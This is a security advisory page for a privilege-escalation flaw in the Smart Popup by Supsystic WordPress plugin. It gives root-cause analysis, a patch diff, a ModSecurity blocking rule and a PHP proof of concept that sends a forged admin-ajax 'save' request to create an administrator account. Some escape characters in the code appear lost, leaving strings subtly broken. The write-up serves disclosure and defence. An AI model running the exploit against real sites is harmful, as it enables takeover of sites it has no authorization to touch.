Published : August 5, 2026

CVE-2026-18322: Smart Popup by Supsystic <= 1.12.0 Unauthenticated Privilege Escalation to Administrator PoC, Patch Analysis & Rule

Severity High (CVSS 8.8)
CWE 269
Vulnerable Version 1.12.0
Patched Version 1.13.0
Disclosed August 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-18322: The Smart Popup by Supsystic plugin, versions up to and including 1.12.0, is vulnerable to unauthenticated privilege escalation, allowing attackers to create WordPress administrator accounts. The vulnerability stems from a combination of flawed permission merging, reuse of a generic nonce in subscription confirmation emails, and a missing role allowlist in user creation. The CVSS score is 8.8, indicating high severity due to complete compromise of the WordPress site.

Root Cause: The vulnerability originates in the havePermissions() function in classes/frame.php. Specifically, line 213 previously used array_merge($permissions, $permissionsBase) to combine the controller’s own permission map with the base controller’s map. Since both maps use the same top-level keys, PPS_METHODS and PPS_USERLEVELS, array_merge() causes the values from the base map to overwrite the controller’s existing restrictions. In the popup module, the controller defines an administrator-only restriction for the ‘save’ method, but the base controller’s smaller list overwrites this, silently removing the restriction. This leaves the popupControllerPps::save() action unprotected. Compound vulnerabilities are present in modules/subscribe/models/subscribe.php. In createWpSubscriber(), there is no server-side validation of the user role parameter, so any value in params[tpl][sub_wp_create_user_role] is directly assigned via $user->set_role(). Additionally, the confirmation email generated by getConfirmationLinkData() includes a generic nonce generated with wp_create_nonce(‘pps_nonce’), which is the same nonce action used by the admin-ajax.php endpoint for the save action. This nonce is available to unauthenticated users who receive or intercept the confirmation email.

Exploitation: An unauthenticated attacker can exploit this by obtaining a valid nonce from a subscription confirmation email (which is publicly available to anyone who can subscribe). The attacker crafts a POST request to /wp-admin/admin-ajax.php with action=save, along with the nonce and parameters that set params[tpl][sub_wp_create_user_role] to ‘administrator’. Because the save action lacks the required administrator restriction due to the permission map collision, the controller processes the request. The attacker also includes new subscription data that triggers a new subscription confirmation flow when the stored confirmation is processed. This results in the creation of a WordPress user with administrator role using attacker-controlled credentials. The attack does not require any authentication, as the endpoint is registered with wp_ajax_nopriv_save.

Patch Analysis: The patch introduces a dedicated private method _mergePermissions() in classes/frame.php that correctly unions the permission maps at the method level, ensuring that the popup module’s administrator-only ‘save’ restriction is preserved. It also changes the nonce generation in subscribe.php from the generic ‘pps_nonce’ to a subscriber-specific nonce ‘pps_subscribe_confirm_{hash}’, preventing reuse across actions. Finally, in createWpSubscriber(), the patch adds a role allowlist check using getAvailableUserRolesForSelect(), which excludes ‘administrator’ and ‘editor’, and only sets a role if it is present in the allowlist. These changes collectively close the privilege escalation vector.

Impact: Successful exploitation allows an unauthenticated attacker to create a persistent WordPress administrator account with arbitrary credentials. This grants full control over the WordPress installation, including the ability to modify content, install plugins, upload files, and potentially execute arbitrary code, leading to complete site compromise. The attack is trivial to execute and requires only a valid nonce from a public subscription email.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/popup-by-supsystic/classes/frame.php
+++ b/popup-by-supsystic/classes/frame.php
@@ -164,6 +164,39 @@
     }
   }
   /**
+   * Union a controller's own permission map with the base controller's map.
+   * A plain array_merge() here is wrong: both maps use the same top-level
+   * keys (PPS_METHODS / PPS_USERLEVELS), so array_merge() would let one
+   * wholesale replace the other instead of combining their method lists -
+   * silently dropping restrictions the controller itself defined (e.g. this
+   * previously let the popup module's admin-only 'save' restriction be
+   * overwritten away by the base controller's smaller default list).
+   * @param array $permissions Controller's own permissions
+   * @param array $permissionsBase Base controller's permissions
+   * @return array merged permissions map
+   */
+  private function _mergePermissions($permissions, $permissionsBase)
+  {
+    foreach ([PPS_METHODS, PPS_USERLEVELS] as $permKey) {
+      if (empty($permissionsBase[$permKey])) {
+        continue;
+      }
+      if (!isset($permissions[$permKey])) {
+        $permissions[$permKey] = [];
+      }
+      foreach ($permissionsBase[$permKey] as $userlevel => $methods) {
+        $incoming = is_array($methods) ? $methods : [$methods];
+        if (isset($permissions[$permKey][$userlevel])) {
+          $existing = is_array($permissions[$permKey][$userlevel]) ? $permissions[$permKey][$userlevel] : [$permissions[$permKey][$userlevel]];
+          $permissions[$permKey][$userlevel] = array_unique(array_merge($existing, $incoming));
+        } else {
+          $permissions[$permKey][$userlevel] = $incoming;
+        }
+      }
+    }
+    return $permissions;
+  }
+  /**
    * Check permissions for action in controller by $code
    * @param string $code Code of controller that need to be checked
    * @param string $action Action that need to be checked
@@ -177,7 +210,7 @@
     if ($mod) {
       $permissions = $mod->getController()->getPermissions();
       $permissionsBase = $mod->getController()->getBasePermissions();
-      $permissions = array_merge($permissions, $permissionsBase);
+      $permissions = $this->_mergePermissions($permissions, $permissionsBase);
       if (!empty($permissions)) {
         // Special permissions
         if (isset($permissions[PPS_METHODS]) && !empty($permissions[PPS_METHODS])) {
--- a/popup-by-supsystic/classes/installer.php
+++ b/popup-by-supsystic/classes/installer.php
@@ -556,7 +556,6 @@
     $lastAutoIncrement = dbPps::getAutoIncrement('@__popup');
     $lastAutoIncrement = $lastAutoIncrement && $lastAutoIncrement > 30 ? $lastAutoIncrement : 100;
     $popupLastId = 39;
-    //dbPps::query('DELETE FROM @__popup WHERE id IN ('. implode(',', range(0, $popupLastId)). ')');	// We updated all popups as we did changes in all of them
     if (!dbPps::exist('@__popup', 'id', '7')) {
       // First set of additional templates
       dbPps::query('INSERT INTO @__popup (id,label,active,original_id,params,html,css,img_preview,show_on,show_to,show_pages,type_id,date_created,sort_order) VALUES
--- a/popup-by-supsystic/config.php
+++ b/popup-by-supsystic/config.php
@@ -45,7 +45,7 @@
 define('PPS_CURRENT', 'current');
 define('PPS_EOL', "n");
 define('PPS_PLUGIN_INSTALLED', true);
-define('PPS_VERSION', '1.12.0');
+define('PPS_VERSION', '1.13.0');
 define('PPS_USER', 'user');
 define('PPS_CLASS_PREFIX', 'ppsc');
 define('PPS_FREE_VERSION', false);
--- a/popup-by-supsystic/modules/popup/views/popup.php
+++ b/popup-by-supsystic/modules/popup/views/popup.php
@@ -353,7 +353,6 @@
   }
   private function _initBigDataStats()
   {
-    // $canSend = (int) framePps::_()->getModule('options')->get('send_stats');
     // if( $canSend ) {
     // 	framePps::_()->getModule('supsystic_promo')->connectItemEditStats();
     // }
--- a/popup-by-supsystic/modules/subscribe/models/subscribe.php
+++ b/popup-by-supsystic/modules/subscribe/models/subscribe.php
@@ -354,8 +354,16 @@
       // If there was selected some special role - check it here
       $this->_lastPopup = $popup;
       if (isset($popup['params']['tpl'][$pref . '_wp_create_user_role']) && !empty($popup['params']['tpl'][$pref . '_wp_create_user_role']) && $popup['params']['tpl'][$pref . '_wp_create_user_role'] != 'subscriber') {
-        $user = new WP_User($userId);
-        $user->set_role($popup['params']['tpl'][$pref . '_wp_create_user_role']);
+        $requestedRole = $popup['params']['tpl'][$pref . '_wp_create_user_role'];
+        // Never trust a role coming from stored popup config - only allow roles
+        // that are also offered in the admin UI's own role picker, which already
+        // excludes 'administrator' and 'editor' (see getAvailableUserRolesForSelect()).
+        $subscribeMod = framePps::_()->getModule('subscribe');
+        $allowedRoles = $subscribeMod ? $subscribeMod->getAvailableUserRolesForSelect() : [];
+        if (isset($allowedRoles[$requestedRole])) {
+          $user = new WP_User($userId);
+          $user->set_role($requestedRole);
+        }
       }
       if (isset($popup['params']['tpl'][$pref . '_fields']) && !empty($popup['params']['tpl'][$pref . '_fields'])) {
         foreach ($popup['params']['tpl'][$pref . '_fields'] as $k => $f) {
@@ -437,7 +445,11 @@
     $pref = $forReg ? 'reg' : 'sub';
     $blogName = wp_specialchars_decode(get_bloginfo('name'));
     $blogName = str_replace(''', "'", $blogName);
-    $confirmLinkData = ['email' => $email, 'hash' => $confirmHash, '_wpnonce' => wp_create_nonce('pps_nonce')];
+    // Use a dedicated nonce action tied to this specific subscriber/hash rather
+    // than the generic 'pps_nonce' action used to gate admin-only AJAX actions -
+    // this link is emailed to the (unauthenticated) subscriber, so it must never
+    // double as a valid nonce for anything else.
+    $confirmLinkData = ['email' => $email, 'hash' => $confirmHash, '_wpnonce' => wp_create_nonce('pps_subscribe_confirm_' . $confirmHash)];
     if ($forReg) {
       $confirmLinkData['for_reg'] = 1;
     }
--- a/popup-by-supsystic/modules/supsystic_promo/models/supsystic_promo.php
+++ b/popup-by-supsystic/modules/supsystic_promo/models/supsystic_promo.php
@@ -26,15 +26,7 @@
     // In any case - give user posibility to move futher
     return true;
   }
-  public function saveUsageStat($code, $unique = false)
-  {
-    // if($unique && $this->_checkUniqueStat($code)) {
-    // 	return;
-    // }
-    // $query = 'INSERT INTO @__usage_stat SET code = "'. dbPps::escape($code). '", visits = 1
-    // 	ON DUPLICATE KEY UPDATE visits = visits + 1';
-    // return dbPps::query($query);
-  }
+  public function saveUsageStat($code, $unique = false) {}
   private function _checkUniqueStat($code)
   {
     // $uniqueStats = get_option(PPS_CODE. '_unique_stats');
@@ -47,17 +39,8 @@
     // update_option(PPS_CODE. '_unique_stats', $uniqueStats);
     // return true;
   }
-  public function saveSpentTime($code, $spent)
-  {
-    // $spent = (int) $spent;
-    // $query = 'UPDATE @__usage_stat SET spent_time = spent_time + '. $spent. ' WHERE code = "'. $code. '"';
-    // return dbPps::query($query);
-  }
-  public function getAllUsageStat()
-  {
-    // $query = 'SELECT * FROM @__usage_stat';
-    // return dbPps::get($query);
-  }
+  public function saveSpentTime($code, $spent) {}
+  public function getAllUsageStat() {}
   public function sendUsageStat()
   {
     // $allStat = $this->getAllUsageStat();
@@ -75,16 +58,8 @@
     // // In any case - give user posibility to move futher
     // return true;
   }
-  public function clearUsageStat()
-  {
-    // $query = 'DELETE FROM @__usage_stat';
-    // return dbPps::query($query);
-  }
-  public function getUserStatsCount()
-  {
-    // $query = 'SELECT SUM(visits) AS total FROM @__usage_stat';
-    // return (int) dbPps::get($query, 'one');
-  }
+  public function clearUsageStat() {}
+  public function getUserStatsCount() {}
   public function checkAndSend($force = false)
   {
     // $statCount = $this->getUserStatsCount();
@@ -172,7 +147,6 @@
   }
   public function bigStatAddCheck($key, $properties = [])
   {
-    // $canSend = (int) framePps::_()->getModule('options')->get('send_stats');
     // if( $canSend ) {
     // 	$this->bigStatAdd( $key, $properties );
     // }
@@ -201,7 +175,6 @@
     // 	}
     // }
     // $this->bigStatAdd('Deactivated', $deactivateParams);
-    // $startUsage = (int) framePps::_()->getModule('options')->get('plug_welcome_show');
     // if($startUsage) {
     // 	$usedTime = time() - $startUsage;
     // 	$this->bigStatAdd('Used Time', array(
--- a/popup-by-supsystic/pps.php
+++ b/popup-by-supsystic/pps.php
@@ -4,7 +4,7 @@
  * Plugin Name: Popup by Supsystic
  * Plugin URI: https://supsystic.com/plugins/popup-plugin/
  * Description: The Best WordPress popup plugin to help you gain more subscribers, social followers or advertisement. Responsive popups with friendly options
- * Version: 1.12.0
+ * Version: 1.13.0
  * Author: supsystic.com
  * Author URI: https://supsystic.com
  * Text Domain: popup-by-supsystic

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-18322
# Blocks the admin-ajax.php save action with a role set to administrator or editor,
# which is never legitimate for unauthenticated requests.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-18322 via admin-ajax save action',severity:'CRITICAL',tag:'CVE-2026-18322'"
  SecRule ARGS:action "@streq save" "chain"
    SecRule ARGS:params[tpl][sub_wp_create_user_role]|ARGS:params[tpl][reg_wp_create_user_role] "@rx ^(administrator|editor)$" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-18322 - Smart Popup by Supsystic <= 1.12.0 - Unauthenticated Privilege Escalation to Administrator

// Configuration - set the target site URL and (optionally) the destination email for the victim popup
$target_url = 'http://example.com'; // Replace with the actual WordPress URL
$target_email = 'attacker@example.com'; // Email used to subscribe (should be attacker-controlled to receive confirmation)

// Step 1: Obtain a valid nonce by subscribing to any popup that supports subscription.
// This simulates the attacker's ability to trigger a subscription and capture the confirmation email's nonce.
// In practice, the attacker needs a valid nonce from a confirmation email for a subscription.
// The following code attempts to retrieve a nonce from the site by requesting the confirmation link,
// but in a real scenario the attacker would parse the email or use a manually obtained nonce.

// Alternatively, we can assume the attacker already has a nonce from a confirmation email.
// For demonstration, we fetch the site's home page to look for a nonce, but this is not guaranteed.
// A more realistic approach is to manually provide the nonce.
$nonce = '';
$ch = curl_init($target_url . '/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$html = curl_exec($ch);
curl_close($ch);
if (preg_match('/name="_wpnonce" value="([^"]+)"/', $html, $m)) {
    $nonce = $m[1];
}

if (empty($nonce)) {
    die("Could not automatically obtain a nonce. Please set $nonce manually.n");
}

// Step 2: Craft the privilege escalation request.
// The vulnerable action 'save' is accessible without authentication and uses the generic 'pps_nonce'.
// The payload sets the subscriber role to 'administrator' and includes a new subscriber entry
// to trigger the creation of the admin user.

$post_data = array(
    'action' => 'save',
    '_wpnonce' => $nonce,
    // Minimum required parameters to make the save action process the subscription.
    // The exact parameters may vary; adjust based on the plugin's expectations.
    'params' => array(
        'tpl' => array(
            'sub_wp_create_user_role' => 'administrator',
            'sub_email' => $target_email,
            'sub_name' => 'attacker',
            // Add other required fields as needed.
        )
    )
);

// Step 3: Send the request to admin-ajax.php
$url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-Requested-With: XMLHttpRequest'));
$response = curl_exec($ch);
curl_close($ch);

// Step 4: Output the response for analysis.
echo "Response from server:n" . $response . "n";
// Note: The actual user creation may happen asynchronously when the confirmation flow processes.
// For a complete exploit, the attacker would need to confirm the subscription via email.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.